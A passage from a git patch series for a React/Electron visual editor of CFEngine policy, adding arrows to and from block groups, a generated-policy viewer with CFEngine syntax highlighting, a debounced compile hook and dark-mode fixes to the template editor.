placed = new Set(order); - const leftovers = nodes.filter(node => !placed.has(node.instanceId)).sort(readingOrder); - return [...order, ...leftovers.map(node => node.instanceId)]; + return [ + ...order, + ...nodes + .filter(node => !placed.has(node.id)) + .sort(readingOrder) + .map(node => node.id) + ]; +} + +/** + * The call order for one file's canvas: every arrow's source comes before its + * target, and whenever several blocks are free to go next, the one highest on + * the canvas wins, then the leftmost. A group runs as one step (its own + * bundle), placed by its top-left block, with its members sorted the same way + * among themselves. Derived, never stored, so it can't drift from the canvas. + */ +export function executionOrder(instances: BlockInstance[], edges: BlockEdge[], descriptorsById: Map): string[] { + const sequenced = instances.filter(instance => isSequenced(descriptorsById.get(instance.blockId))); + const members = new Map(); + const outer: Positioned[] = []; + for (const instance of sequenced) { + const node = { id: instance.instanceId, position: instance.position }; + if (instance.groupId) members.set(instance.groupId, [...(members.get(instance.groupId) ?? []), node]); + else outer.push(node); + } + for (const [groupId, nodes] of members) { + const xs = nodes.map(node => node.position?.x ?? 0); + const ys = nodes.map(node => node.position?.y ?? 0); + outer.push({ id: groupId, position: { x: Math.min(...xs), y: Math.min(...ys) } }); + } + return sortByArrows(outer, edges).flatMap(id => { + const group = members.get(id); + return group ? sortByArrows(group, edges) : [id]; + }); } // Whether adding source → target would close a loop, i.e. target already diff --git a/src/renderer/src/canvas/groupEdges.ts b/src/renderer/src/canvas/groupEdges.ts new file mode 100644 index 0000000..520d1bf --- /dev/null +++ b/src/renderer/src/canvas/groupEdges.ts @@ -0,0 +1,109 @@ +import type { BlockDescriptor } from '../blocks/types'; +import type { BlockInstance } from '../store/canvasSlice/types'; +import type { BlockEdge, BlockOutcome } from '../store/edgesSlice/types'; +import { isSequenced } from './executionOrder'; + +const OUTCOMES: BlockOutcome[] = ['kept', 'repaired', 'not_kept']; + +/** + * Arrows can't cross a group's frame (a group runs as one bundle, and its + * blocks' outcome classes aren't seen outside it): an end inside a group whose + * other end is outside attaches to the group itself. Arrows between a group + * and its own blocks go; ones that now share both ends merge their outcomes. + * Returns `edges` itself when nothing changed. + */ +export function attachToFrames(edges: BlockEdge[], instances: BlockInstance[]): BlockEdge[] { + const groupOf = new Map(instances.map(instance => [instance.instanceId, instance.groupId])); + const result: BlockEdge[] = []; + let changed = false; + for (const edge of edges) { + const sourceGroup = groupOf.get(edge.source); + const targetGroup = groupOf.get(edge.target); + const crosses = sourceGroup !== targetGroup; + const source = crosses && sourceGroup ? sourceGroup : edge.source; + const target = crosses && targetGroup ? targetGroup : edge.target; + if (source === target || groupOf.get(source) === target || groupOf.get(target) === source) { + changed = true; + continue; + } + const same = result.find(other => other.source === source && other.target === target); + if (same) { + same.outcomes = OUTCOMES.filter(outcome => same.outcomes.includes(outcome) || edge.outcomes.includes(outcome)); + changed = true; + } else { + if (source !== edge.source || target !== edge.target) changed = true; + result.push({ ...edge, source, target }); + } + } + return changed ? result : edges; +} + +// Whether the arrows form a loop anywhere. +export function hasCycle(edges: BlockEdge[]): boolean { + const outgoing = new Map(); + for (const edge of edges) outgoing.set(edge.source, [...(outgoing.get(edge.source) ?? []), edge.target]); + const state = new Map(); + const visit = (id: string): boolean => { + if (state.get(id) === 'open') return true; + if (state.get(id) === 'done') return false; + state.set(id, 'open'); + const looped = (outgoing.get(id) ?? []).some(visit); + state.set(id, 'done'); + return looped; + }; + return [...outgoing.keys()].some(visit); +} + +// A group's blocks that take arrows, and which of them nothing inside points at / leads on from. +function endsOf(groupId: string, edges: BlockEdge[], instances: BlockInstance[], descriptorsById: Map) { + const members = instances + .filter(instance => instance.groupId === groupId && isSequenced(descriptorsById.get(instance.blockId))) + .map(instance => instance.instanceId); + const inside = new Set(members); + const inner = edges.filter(edge => inside.has(edge.source) && inside.has(edge.target)); + return { + entries: members.filter(id => !inner.some(edge => edge.target === id)), + exits: members.filter(id => !inner.some(edge => edge.source === id)) + }; +} + +/** + * Ungrouping keeps what the group's arrows meant: one into the group goes to + * each of its first blocks (nothing inside points at them), one out of it + * leaves from each of its last blocks. + */ +export function fanOut(groupId: string, edges: BlockEdge[], instances: BlockInstance[], descriptorsById: Map): BlockEdge[] { + const { entries, exits } = endsOf(groupId, edges, instances, descriptorsById); + return edges.flatMap(edge => { + if (edge.target === groupId) return entries.map(target => ({ ...edge, id: crypto.randomUUID(), target })); + if (edge.source === groupId) return exits.map(source => ({ ...edge, id: crypto.randomUUID(), source })); + return [edge]; + }); +} + +/** + * Blocks joining a group keep their arrows to and from it, as arrows to its + * first blocks / from its last ones (`instances`: before they join). + */ +export function intoGroup( + groupId: string, + joiningIds: string[], + edges: BlockEdge[], + instances: BlockInstance[], + descriptorsById: Map +): BlockEdge[] { + const joining = new Set(joiningIds); + if (!edges.some(edge => (joining.has(edge.source) && edge.target === groupId) || (edge.source === groupId && joining.has(edge.target)))) return edges; + const { entries, exits } = endsOf(groupId, edges, instances, descriptorsById); + return edges.flatMap(edge => { + if (joining.has(edge.source) && edge.target === groupId) return entries.map(target => ({ ...edge, id: crypto.randomUUID(), target })); + if (edge.source === groupId && joining.has(edge.target)) return exits.map(source => ({ ...edge, id: crypto.randomUUID(), source })); + return [edge]; + }); +} + +/** For laying out (Tidy): an arrow to or from a group as arrows to its first / from its last blocks. */ +export function throughGroups(edges: BlockEdge[], instances: BlockInstance[], descriptorsById: Map): BlockEdge[] { + const groupIds = new Set(instances.flatMap(instance => (instance.groupId ? [instance.groupId] : []))); + return [...groupIds].reduce((result, groupId) => fanOut(groupId, result, instances, descriptorsById), edges); +} diff --git a/src/renderer/src/components/FlowCanvas.tsx b/src/renderer/src/components/FlowCanvas.tsx index 0c51fac..7647a77 100644 --- a/src/renderer/src/components/FlowCanvas.tsx +++ b/src/renderer/src/components/FlowCanvas.tsx @@ -35,7 +35,7 @@ import { type ChainOwner, DATA_EDGE_PREFIX, DATA_NODE_WIDTH, type DataChain, der import { executionOrder, isSequenced, wouldCreateCycle } from '../canvas/executionOrder'; import { relationToFileCondition } from '../canvas/fileCondition'; import { GATE_EDGE_PREFIX, GATE_WIDTH, type Gate, deriveGates } from '../canvas/gates'; -import { type GroupFrame, type Rect, deriveGroupFrames, frameAt, settleGroup } from '../canvas/groupFrames'; +import { GROUP_NODE_PREFIX, type GroupFrame, type Rect, deriveGroupFrames, frameAt, settleGroup } from '../canvas/groupFrames'; import { GRID_SIZE, NODE_WIDTH, estimateNodeHeight } from '../canvas/layout'; import { defaultOutcomesFor, describeOutcomes } from '../canvas/outcomes'; import type { BlockInstance } from '../store/canvasSlice/types'; @@ -136,8 +136,8 @@ interface FlowCanvasProps { onInvalidConnection: (message: string) => void; // `compact`: measured below COMPACT_ZOOM, where cards hide their rows — not sizes to lay out by. onMeasured: (sizes: NodeSizes, compact: boolean) => void; - // Blocks dropped into (groupId) or out of (null) a group's frame. - onMembershipChange: (instanceIds: string[], groupId: string | null) => void; + // Blocks dropped into (groupId) or out of (null) a group's frame; false when refused. + onMembershipChange: (instanceIds: string[], groupId: string | null) => boolean; onMove: (instanceId: string, position: { x: number; y: number }) => void; onMultiSelect: (instanceIds: string[]) => void; onNodeDragStart: () => void; @@ -434,15 +434,12 @@ export function FlowCanvas({ draggingIds ); const frameByNodeId = new Map(frames.map(frame => [frame.nodeId, frame])); - // Order numbers of outside blocks running in between a group's members. - const outsidersOf = (memberIds: string[]): number[] => { - const numbers = memberIds.map(id => orderNumbers.get(id)).filter((number): number is number => number !== undefined); - if (numbers.length < 2) return []; - return order - .slice(Math.min(...numbers) - 1, Math.max(...numbers)) - .filter(id => !memberIds.includes(id)) - .map(id => orderNumbers.get(id)!); - }; + // A group takes arrows when it has a block that runs. + const runsAnything = (memberIds: string[]) => memberIds.some(id => isSequenced(blockDescriptorsById.get(byId.get(id)?.blockId ?? ''))); + const groupById = new Map(frames.map(frame => [frame.group.id, frame])); + // An arrow end on the canvas: a block's node id, or a frame's for a group. + const nodeIdOf = (endpoint: string) => (groupById.has(endpoint) ? `${GROUP_NODE_PREFIX}${endpoint}` : endpoint); + const endpointOf = (nodeId: string) => frameByNodeId.get(nodeId)?.group.id ?? nodeId; const groupNodes: GroupFrameFlowNode[] = frames.map(frame => ({ id: frame.nodeId, type: 'groupFrame', @@ -451,10 +448,10 @@ export function FlowCanvas({ height: frame.rect.height, // Sized by us, not by rendering — tell React Flow so it can drag it right away. measured: { width: frame.rect.width, height: frame.rect.height }, - zIndex: -1, + zIndex: 0, dragHandle: '.group-drag-handle', selectable: false, - connectable: false, + connectable: runsAnything(frame.memberIds), // The wrapper lets the pointer through (only the title bar and resize // handles take it), and selection lives in `data`, not `selected`, so // React Flow doesn't lift a selected frame above the blocks inside it. @@ -463,7 +460,7 @@ export function FlowCanvas({ isSelected: frame.group.id === selectedGroupId, group: frame.group, memberCount: frame.memberIds.length, - outsiders: outsidersOf(frame.memberIds), + connectable: runsAnything(frame.memberIds), dropTarget: frame.group.id === dropGroupId, onResizeStart: () => { resizingRef.current = true; @@ -481,8 +478,8 @@ export function FlowCanvas({ const color = theme.palette[describeOutcomes(edge.outcomes).color].main; return { id: edge.id, - source: edge.source, - target: edge.target, + source: nodeIdOf(edge.source), + target: nodeIdOf(edge.target), sourceHandle: 'out', targetHandle: 'in', type: 'outcome', @@ -600,7 +597,10 @@ export function FlowCanvas({ if (unchanged) continue; moves.set(target, [...(moves.get(target) ?? []), instance.instanceId]); } - for (const [groupId, instanceIds] of moves) onMembershipChange(instanceIds, groupId); + for (const [groupId, instanceIds] of moves) { + if (onMembershipChange(instanceIds, groupId)) continue; + for (const id of instanceIds) finalGroup.set(id, byId.get(id)?.groupId); + } settleDroppedInto(dragged, finalGroup); }; @@ -673,19 +673,27 @@ export function FlowCanvas({ return null; }; - const connectionProblem = ({ source, target, sourceHandle, targetHandle }: Connection | Edge): string | null => { - if (!source || !target || source === target) return 'An arrow needs two different blocks.'; - const gate = gateByNodeId.get(source); - if (gate) return gateLinkProblem(gate, target, targetHandle); + // The group an arrow end sits in: a block's, or the group itself for a frame. + const groupAt = (endpoint: string) => (groupById.has(endpoint) ? undefined : byId.get(endpoint)?.groupId); + + const connectionProblem = ({ source: sourceNode, target: targetNode, sourceHandle, targetHandle }: Connection | Edge): string | null => { + if (!sourceNode || !targetNode || sourceNode === targetNode) return 'An arrow needs two different blocks.'; + const gate = gateByNodeId.get(sourceNode); + if (gate) return gateLinkProblem(gate, targetNode, targetHandle); if (sourceHandle !== 'out' || targetHandle !== 'in') return 'Arrows go from a block’s bottom dot to another block’s top dot; the left edge is for conditions.'; - const sourceInstance = byId.get(source); - const targetInstance = byId.get(target); - if (!isSequenced(blockDescriptorsById.get(targetInstance?.blockId ?? '')) || !isSequenced(blockDescriptorsById.get(sourceInstance?.blockId ?? ''))) { + const [source, target] = [endpointOf(sourceNode), endpointOf(targetNode)]; + const takesArrows = (endpoint: string) => { + const frame = groupById.get(endpoint); + return frame ? runsAnything(frame.memberIds) : isSequenced(blockDescriptorsById.get(byId.get(endpoint)?.blockId ?? '')); + }; + if (!takesArrows(source) || !takesArrows(target)) { return 'Define Variable / Define Class blocks can’t take arrows — use a Condition to react to their classes.'; } + if (groupAt(source) === target || groupAt(target) === source) return 'That block is inside this group — it already runs as part of it.'; + if (groupAt(source) !== groupAt(target)) return 'Arrows can’t cross a group’s edge: connect to the group’s frame instead (its top and bottom dots).'; if (edges.some(edge => edge.source === source && edge.target === target)) - return 'Those blocks are already connected — click the arrow’s label to change what it waits for.'; + return 'Those are already connected — click the arrow’s label to change what it waits for.'; if (wouldCreateCycle(edges, source, target)) return 'That arrow would create a loop.'; return null; }; @@ -757,8 +765,12 @@ export function FlowCanvas({ if (connectionProblem(connection)) return; const gate = gateByNodeId.get(connection.source); if (gate) return onGateLink(gate, connection.target); - const sourceDescriptor = blockDescriptorsById.get(byId.get(connection.source)?.blockId ?? ''); - onConnect(connection.source, connection.target, defaultOutcomesFor(sourceDescriptor)); + const [source, target] = [endpointOf(connection.source), endpointOf(connection.target)]; + // A group's call is kept or repaired when nothing in it failed. + const outcomes: BlockOutcome[] = groupById.has(source) + ? ['kept', 'repaired'] + : defaultOutcomesFor(blockDescriptorsById.get(byId.get(source)?.blockId ?? '')); + onConnect(source, target, outcomes); }} isValidConnection={connection => connectionProblem(connection) === null} onConnectEnd={(_event, state) => { diff --git a/src/renderer/src/components/GroupFrameNode.tsx b/src/renderer/src/components/GroupFrameNode.tsx index 0c511b2..f1c9bc5 100644 --- a/src/renderer/src/components/GroupFrameNode.tsx +++ b/src/renderer/src/components/GroupFrameNode.tsx @@ -1,12 +1,13 @@ -import WarningAmberIcon from '@mui/icons-material/WarningAmber'; import { Box, Typography, alpha, useTheme } from '@mui/material'; -import { type Node, type NodeProps, NodeResizer, useStore } from '@xyflow/react'; +import { Handle, type Node, type NodeProps, NodeResizer, Position, useStore } from '@xyflow/react'; import { GROUP_TITLE_HEIGHT } from '../canvas/groupFrames'; import type { BlockGroup } from '../store/groupsSlice/types'; export interface GroupFrameNodeData extends Record { + // Has a block that runs, so arrows can go in and out of the group. + connectable: boolean; dropTarget: boolean; group: BlockGroup; isSelected: boolean; @@ -14,8 +15,6 @@ export interface GroupFrameNodeData extends Record { onResize: (rect: { height: number; width: number; x: number; y: number }) => void; onResizeEnd: () => void; onResizeStart: () => void; - // Order numbers of outside blocks that run in between the group's members. - outsiders: number[]; } export type GroupFrameFlowNode = Node; @@ -23,14 +22,17 @@ export type GroupFrameFlowNode = Node; /** * A group's frame. Only the title bar takes the pointer — grab it to move the * whole group, click it to edit the group — so the body stays click-through - * to the canvas and the blocks inside. + * to the canvas and the blocks inside. Its top and bottom dots take arrows + * like a block's: the group runs as one step. */ export function GroupFrameNode({ data }: NodeProps) { - const { group, isSelected: selected, memberCount, outsiders, dropTarget, onResize, onResizeStart, onResizeEnd } = data; + const { group, isSelected: selected, memberCount, connectable, dropTarget, onResize, onResizeStart, onResizeEnd } = data; const theme = useTheme(); const color = theme.palette[group.color].main; // Same threshold as block cards: zoomed out, the title grows so it stays readable. const compact = useStore(state => state.transform[2] < 0.55); + const handleSx = { width: 14, height: 14, border: `2px solid ${theme.palette.background.default}`, pointerEvents: 'all' as const }; + const condition = group.condition?.className.trim() ? group.condition : undefined; return ( ) { {memberCount} {memberCount === 1 ? 'block' : 'blocks'} - {outsiders.length > 0 && ( - 1 ? 's' : ''} ${outsiders.map(order => `#${order}`).join(', ')} from outside this group run${outsiders.length > 1 ? '' : 's'} in between its blocks. A group is only visual: order still follows arrows and position.`} - sx={{ display: 'flex', color: 'warning.main', ml: 'auto' }} + {condition && ( + - - + {condition.mode === 'unless' ? 'unless' : 'if'} {condition.className} + )} + {connectable && ( + <> + + + + )}
); } diff --git a/src/renderer/src/components/GroupPanel.tsx b/src/renderer/src/components/GroupPanel.tsx index 98f5252..29a4ef8 100644 --- a/src/renderer/src/components/GroupPanel.tsx +++ b/src/renderer/src/components/GroupPanel.tsx @@ -1,15 +1,20 @@ -import { Box, Button, ButtonBase, Stack, TextField, Typography, useTheme } from '@mui/material'; +import type { ReactNode } from 'react'; + +import { Box, Button, ButtonBase, Divider, Stack, TextField, Typography, useTheme } from '@mui/material'; import type { BlockInstance } from '../store/canvasSlice/types'; import { type BlockGroup, GROUP_COLORS, type GroupColor } from '../store/groupsSlice/types'; const inputSx = { '& .MuiInputBase-root': { bgcolor: 'background.input' } }; -// Properties panel content for a selected group: name, colour, members, and -// the ways out (ungroup keeps the blocks; delete takes them too). +// Properties panel content for a selected group: name, colour, what gates it +// (its condition and arrows), members, and the ways out (ungroup keeps the +// blocks; delete takes them too). export function GroupPanel({ group, members, + condition, + runsWhen, orderOf, autoFocusName, onRename, @@ -20,6 +25,8 @@ export function GroupPanel({ onFit }: { autoFocusName: boolean; + // The group's Condition and "Runs when" sections. + condition: ReactNode; group: BlockGroup; members: BlockInstance[]; onColorChange: (color: GroupColor) => void; @@ -30,6 +37,7 @@ export function GroupPanel({ onSelectMember: (instanceId: string) => void; onUngroup: () => void; orderOf: (instanceId: string) => number | undefined; + runsWhen: ReactNode; }) { const theme = useTheme(); return ( @@ -84,8 +92,14 @@ export function GroupPanel({ ))}
- A group is visual: it doesn’t change what runs or in which order. Move it by its title bar; drag its edges to make room. + Its blocks compile into a bundle of their own and run together, as one step. Arrows into and out of the group go from its frame’s dots. Move it by its + title bar; drag its edges to make room. + + {condition} + + {runsWhen} + {group.rect && ( + + + {text !== undefined ? ( + setView(instance?.view ?? null)} + value={text} + editable={false} + theme={theme.palette.mode} + height="100%" + style={{ height: '100%', fontSize: 13 }} + extensions={extensions} + basicSetup={{ highlightActiveLine: false, highlightActiveLineGutter: false }} + /> + ) : ( + !error && + )} + + + + ); +} + +function Placeholder({ text }: { text: string }) { + return ( + + {text} + + ); +} + +function Status({ error, pending }: { error: boolean; pending: boolean }) { + if (pending) + return ( + + + Updating… + + ); + return ; +} diff --git a/src/renderer/src/components/editor/cfengineLanguage.ts b/src/renderer/src/components/editor/cfengineLanguage.ts new file mode 100644 index 0000000..6770b30 --- /dev/null +++ b/src/renderer/src/components/editor/cfengineLanguage.ts @@ -0,0 +1,74 @@ +import { StreamLanguage, type StringStream } from '@codemirror/language'; + +// A light CFEngine policy mode for reading generated .cf: comments, strings +// (with their $(…) references), bundle/body headers, promise types, class +// guards, attributes and function calls. Not a parser — just enough colour. +interface State { + // What the next words of a `bundle agent name` / `body perms name` header are. + header: 'kind' | 'name' | null; + // Inside a string, the quote that closes it. + quote: string | null; +} + +function inString(stream: StringStream, state: State): string { + if (stream.match(/^\$[({][^()${}]*[)}]/)) return 'variableName.special'; + while (!stream.eol()) { + const next = stream.peek(); + if (next === '\\') { + stream.next(); + stream.next(); + continue; + } + if (next === state.quote) { + stream.next(); + state.quote = null; + break; + } + if (next === '$' && stream.match(/^\$[({][^()${}]*[)}]/, false)) break; + stream.next(); + } + return 'string'; +} + +// `agent` then `name` in `bundle agent name`. +function headerWord(state: State): string { + const kind = state.header; + state.header = kind === 'kind' ? 'name' : null; + return kind === 'kind' ? 'typeName' : 'variableName.definition'; +} + +// The first word of a line: a bundle/body header, a class guard or a promise type. +function lineStart(stream: StringStream, state: State): string | null { + if (stream.match(/^(bundle|body|promise)\b/)) { + state.header = 'kind'; + return 'keyword'; + } + if (stream.match(/^[\w.&|!()$]+::/)) return 'labelName'; + if (stream.match(/^\w+:(?!:)/)) return 'heading'; + return null; +} + +export const cfengineLanguage = StreamLanguage.define({ + startState: () => ({ header: null, quote: null }), + token(stream, state) { + if (state.quote) return inString(stream, state); + if (stream.eatSpace()) return null; + if (stream.match(/^#.*/)) return 'comment'; + const quote = stream.match(/^["'`]/) as RegExpMatchArray | null; + if (quote) { + state.quote = quote[0]; + return inString(stream, state); + } + if (state.header && stream.match(/^[\w:]+/)) return headerWord(state); + const first = /^\s*$/.test(stream.string.slice(0, stream.start)) ? lineStart(stream, state) : null; + if (first) return first; + if (stream.match(/^\w+(?=\s*=>)/)) return 'propertyName'; + if (stream.match(/^\w+(?=\()/)) return 'variableName.function'; + if (stream.match('=>')) return 'operator'; + if (stream.match(/^@\([^)]*\)/)) return 'variableName.special'; + if (stream.match(/^-?\d+(\.\d+)?\b/)) return 'number'; + if (stream.match(/^\w+/)) return null; + stream.next(); + return null; + } +}); diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index a5e5a67..23d7db7 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -20,6 +20,7 @@ import { GRID_SIZE, NODE_WIDTH, type Position, estimateNodeHeight, nextStackPosi import { BlockGroupRow } from '../components/BlockGroupRow'; import { BlockPalette } from '../components/BlockPalette'; import { CANVAS_DROPPABLE_ID, type CanvasEdge, type CanvasNode, FlowCanvas, type NodeSizes, type ZoomControls } from '../components/FlowCanvas'; +import { GeneratedPolicyView } from '../components/GeneratedPolicyView'; import { GroupPanel } from '../components/GroupPanel'; import { PolicyFileExplorer } from '../components/PolicyFileExplorer'; import { ProjectStatusLabel } from '../components/ProjectStatusLabel'; @@ -42,6 +43,7 @@ import { clamp, useLayoutSettings } from '../hooks/useLayoutSettings'; +import { useCompiledPolicy } from '../project/useCompiledPolicy'; import { useAppDispatch, useAppSelector } from '../store'; import { blockAdded, @@ -124,7 +126,15 @@ const GROUP_KEY = navigator.platform.startsWith('Mac') ? '⌘G' : 'Ctrl+G'; const selectionOf = (multiSelectedIds: string[], selectedInstanceId: string | null): string[] => multiSelectedIds.length > 0 ? multiSelectedIds : selectedInstanceId ? [selectedInstanceId] : []; -const TAB_PLACEHOLDER_TEXT = ['', 'Generated policy view coming soon.', 'Test results view coming soon.']; +// The tabs besides the canvas. +function OtherTab({ tab, ...policy }: { tab: number } & Parameters[0]) { + if (tab === 1) return ; + return ( + + Test results view coming soon. + + ); +} function initialParams(descriptor: BlockDescriptor): Record { const { parameters } = resolveBlockShape(descriptor, undefined); return Object.fromEntries(parameters.map(parameter => [parameter.name, String(parameter.default ?? '')])); @@ -234,6 +244,7 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi const edges = useMemo(() => allEdges.filter(edge => edge.fileId === currentFileId), [allEdges, currentFileId]); const derivedPositions = useAppSelector(selectDerivedNodePositions); const [activeTab, setActiveTab] = useState(0); + const compiled = useCompiledPolicy(activeTab === 1); const { selectedInstanceId, setSelectedInstanceId, @@ -1014,9 +1025,7 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi } /> ) : ( - - {TAB_PLACEHOLDER_TEXT[activeTab]} - + )} {!maximized && ( diff --git a/src/renderer/src/project/useCompiledPolicy.ts b/src/renderer/src/project/useCompiledPolicy.ts new file mode 100644 index 0000000..a34ade4 --- /dev/null +++ b/src/renderer/src/project/useCompiledPolicy.ts @@ -0,0 +1,70 @@ +import { useEffect, useMemo, useRef, useState } from 'react'; + +import { useAppSelector } from '../store'; +import { selectCurrentProject } from '../store/projectSlice/selectors'; +import { toCfbsProject } from './cfbsProject'; + +type CompiledPolicy = Awaited['compilePolicy']>>; + +export interface CompiledPolicyState { + // The last compile's message, while it failed; the last good result stays shown. + error: string | null; + // The policy path of each file (by file id), as saving would write it. + pathOf: Record; + pending: boolean; + result: CompiledPolicy | null; +} + +const DEBOUNCE_MS = 400; + +/** + * The project's generated policy, compiled by the sidecar exactly as a save + * would (nothing is written), while `enabled`: on enabling, then again once + * edits pause. Layout-only changes (dragging without reordering) don't recompile. + */ +export function useCompiledPolicy(enabled: boolean): CompiledPolicyState { + const project = useAppSelector(selectCurrentProject); + const canvas = useAppSelector(state => state.canvas); + const derivedNodes = useAppSelector(state => state.derivedNodes); + const edges = useAppSelector(state => state.edges); + const files = useAppSelector(state => state.files); + const groups = useAppSelector(state => state.groups); + + const meta = useMemo( + () => (project ? toCfbsProject({ canvas, derivedNodes, edges, files, groups }, project).project : null), + [project, canvas, derivedNodes, edges, files, groups] + ); + // What the compiler reads (and is sent): everything but the open file and positions. + const key = useMemo( + () => (meta ? JSON.stringify({ ...meta, current_file_id: null, files: meta.files.map(({ layout: _layout, ...file }) => file) }) : null), + [meta] + ); + const pathOf = useMemo(() => Object.fromEntries((meta?.files ?? []).map(file => [file.id, file.path])), [meta]); + + const [result, setResult] = useState(null); + const [error, setError] = useState(null); + const [compiledKey, setCompiledKey] = useState(null); + const sequence = useRef(0); + + useEffect(() => { + if (!enabled || !key || !window.api || key === compiledKey) return; + const timer = setTimeout( + () => { + const request = ++sequence.current; + window.api + ?.compilePolicy(JSON.parse(key) as object) + .then(compiled => { + if (request !== sequence.current) return; + setResult(compiled); + setError(null); + }) + .catch((cause: unknown) => request === sequence.current && setError(cause instanceof Error ? cause.message : String(cause))) + .finally(() => request === sequence.current && setCompiledKey(key)); + }, + compiledKey === null ? 0 : DEBOUNCE_MS + ); + return () => clearTimeout(timer); + }, [enabled, key, compiledKey]); + + return { error, pathOf, pending: Boolean(enabled && key && key !== compiledKey), result }; +} From b2aeff585689ed708d420c5c06932c2b4b3bbffe Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Thu, 1 Oct 2026 23:08:58 +0300 Subject: [PATCH 014/141] Template editor now follows the app's dark mode Its CodeMirror had no theme, so in dark mode it stayed light, with the template's plain text drawn in the app's light text colour. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/renderer/src/components/dialogs/TemplateEditorDialog.tsx | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/renderer/src/components/dialogs/TemplateEditorDialog.tsx b/src/renderer/src/components/dialogs/TemplateEditorDialog.tsx index 4519fcf..67f60d0 100644 --- a/src/renderer/src/components/dialogs/TemplateEditorDialog.tsx +++ b/src/renderer/src/components/dialogs/TemplateEditorDialog.tsx @@ -2,7 +2,7 @@ import { type KeyboardEvent, useMemo, useState } from 'react'; import ExpandMoreIcon from '@mui/icons-material/ExpandMore'; import UploadFileOutlinedIcon from '@mui/icons-material/UploadFileOutlined'; -import { Box, Button, ButtonBase, Dialog, DialogActions, DialogContent, DialogTitle, Stack, TextField, Typography } from '@mui/material'; +import { Box, Button, ButtonBase, Dialog, DialogActions, DialogContent, DialogTitle, Stack, TextField, Typography, useTheme } from '@mui/material'; import { autocompletion } from '@codemirror/autocomplete'; import { EditorView } from '@codemirror/view'; @@ -144,6 +144,7 @@ function TokenGroup({ } export function TemplateEditorDialog({ open, title, value, variables, mustache, onClose, onSave }: TemplateEditorDialogProps) { + const theme = useTheme(); // The parent unmounts this dialog on close (conditional render), so a fresh // mount is guaranteed each time it opens — no effect needed to resync `draft`. const [draft, setDraft] = useState(value); @@ -204,6 +205,7 @@ export function TemplateEditorDialog({ open, title, value, variables, mustache, ref={(instance: ReactCodeMirrorRef | null) => setEditorView(instance?.view ?? null)} value={draft} onChange={setDraft} + theme={theme.palette.mode} height="100%" style={{ height: '100%', fontSize: 13 }} extensions={extensions} From 11a711421f07ec18a07e505b8c02d654c91a468b Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Thu, 1 Oct 2026 23:10:18 +0300 Subject: [PATCH 015/141] Mustache syntax help moved from Properties into the template editor Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../src/components/dialogs/TemplateEditorDialog.tsx | 9 +++++++-- src/renderer/src/components/properties/NewClassModal.tsx | 1 + src/renderer/src/components/properties/SubjectEditor.tsx | 1 + src/renderer/src/components/properties/paramFields.tsx | 3 ++- 4 files changed, 11 insertions(+), 3 deletions(-) diff --git a/src/renderer/src/components/dialogs/TemplateEditorDialog.tsx b/src/renderer/src/components/dialogs/TemplateEditorDialog.tsx index 67f60d0..0aa0537 100644 --- a/src/renderer/src/components/dialogs/TemplateEditorDialog.tsx +++ b/src/renderer/src/components/dialogs/TemplateEditorDialog.tsx @@ -13,6 +13,8 @@ import { mustacheLanguage } from '../editor/mustacheLanguage'; import { type TemplateToken, type TemplateTokenSyntax, insertTemplateToken, templateTokenCompletionSource } from '../editor/templateTokens'; interface TemplateEditorDialogProps { + // The parameter's help, shown under a Mustache template (its syntax notes). + help?: string; // True only for a field that's an actual Mustache template body (e.g. // render-template's template_content); false for plain CFEngine promise // text (a command string, a vars: literal, ...) where Mustache braces are @@ -143,7 +145,7 @@ function TokenGroup({ ); } -export function TemplateEditorDialog({ open, title, value, variables, mustache, onClose, onSave }: TemplateEditorDialogProps) { +export function TemplateEditorDialog({ open, title, value, variables, mustache, help, onClose, onSave }: TemplateEditorDialogProps) { const theme = useTheme(); // The parent unmounts this dialog on close (conditional render), so a fresh // mount is guaranteed each time it opens — no effect needed to resync `draft`. @@ -198,7 +200,10 @@ export function TemplateEditorDialog({ open, title, value, variables, mustache, return ( - {title} + + {title} + {mustache && help && {help}} + setEditingParam(null)} onSave={value => setParams(current => ({ ...current, [editingParam.name]: value }))} /> diff --git a/src/renderer/src/components/properties/SubjectEditor.tsx b/src/renderer/src/components/properties/SubjectEditor.tsx index ee09268..e9f117f 100644 --- a/src/renderer/src/components/properties/SubjectEditor.tsx +++ b/src/renderer/src/components/properties/SubjectEditor.tsx @@ -233,6 +233,7 @@ export function SubjectEditor({ value={paramValue(editingParam)} variables={templateTokens} mustache={editingParam.mustache === true} + help={editingParam.help} onClose={() => setEditingParam(null)} onSave={value => callbacks.onParamChange(editingParam.name, value)} /> diff --git a/src/renderer/src/components/properties/paramFields.tsx b/src/renderer/src/components/properties/paramFields.tsx index ff215b3..2f99444 100644 --- a/src/renderer/src/components/properties/paramFields.tsx +++ b/src/renderer/src/components/properties/paramFields.tsx @@ -105,7 +105,8 @@ function renderTextField({ parameter, value, onOpenEditor, label, error }: Field label={label} value={value} error={Boolean(error)} - helperText={error ?? (parameter.help ? `${parameter.help} Click to edit.` : 'Click to edit.')} + // A template's help (its syntax notes) is shown in the editor instead. + helperText={error ?? (parameter.help && !parameter.mustache ? `${parameter.help} Click to edit.` : 'Click to edit.')} fullWidth multiline minRows={3} From 0e8f8bfa2fad542121cd2b37b1c80ae965cd15d7 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Thu, 1 Oct 2026 23:11:35 +0300 Subject: [PATCH 016/141] Properties field labels and compute links are readable in dark mode Labels use text.muted instead of MUI's dim default, and the "compute from data" link uses primary.light: the dark theme's primary is grey, which made it look disabled. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/renderer/src/components/properties/dataBinding.tsx | 3 ++- src/renderer/src/components/properties/styles.ts | 7 ++++++- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/src/renderer/src/components/properties/dataBinding.tsx b/src/renderer/src/components/properties/dataBinding.tsx index 645d506..9942fc2 100644 --- a/src/renderer/src/components/properties/dataBinding.tsx +++ 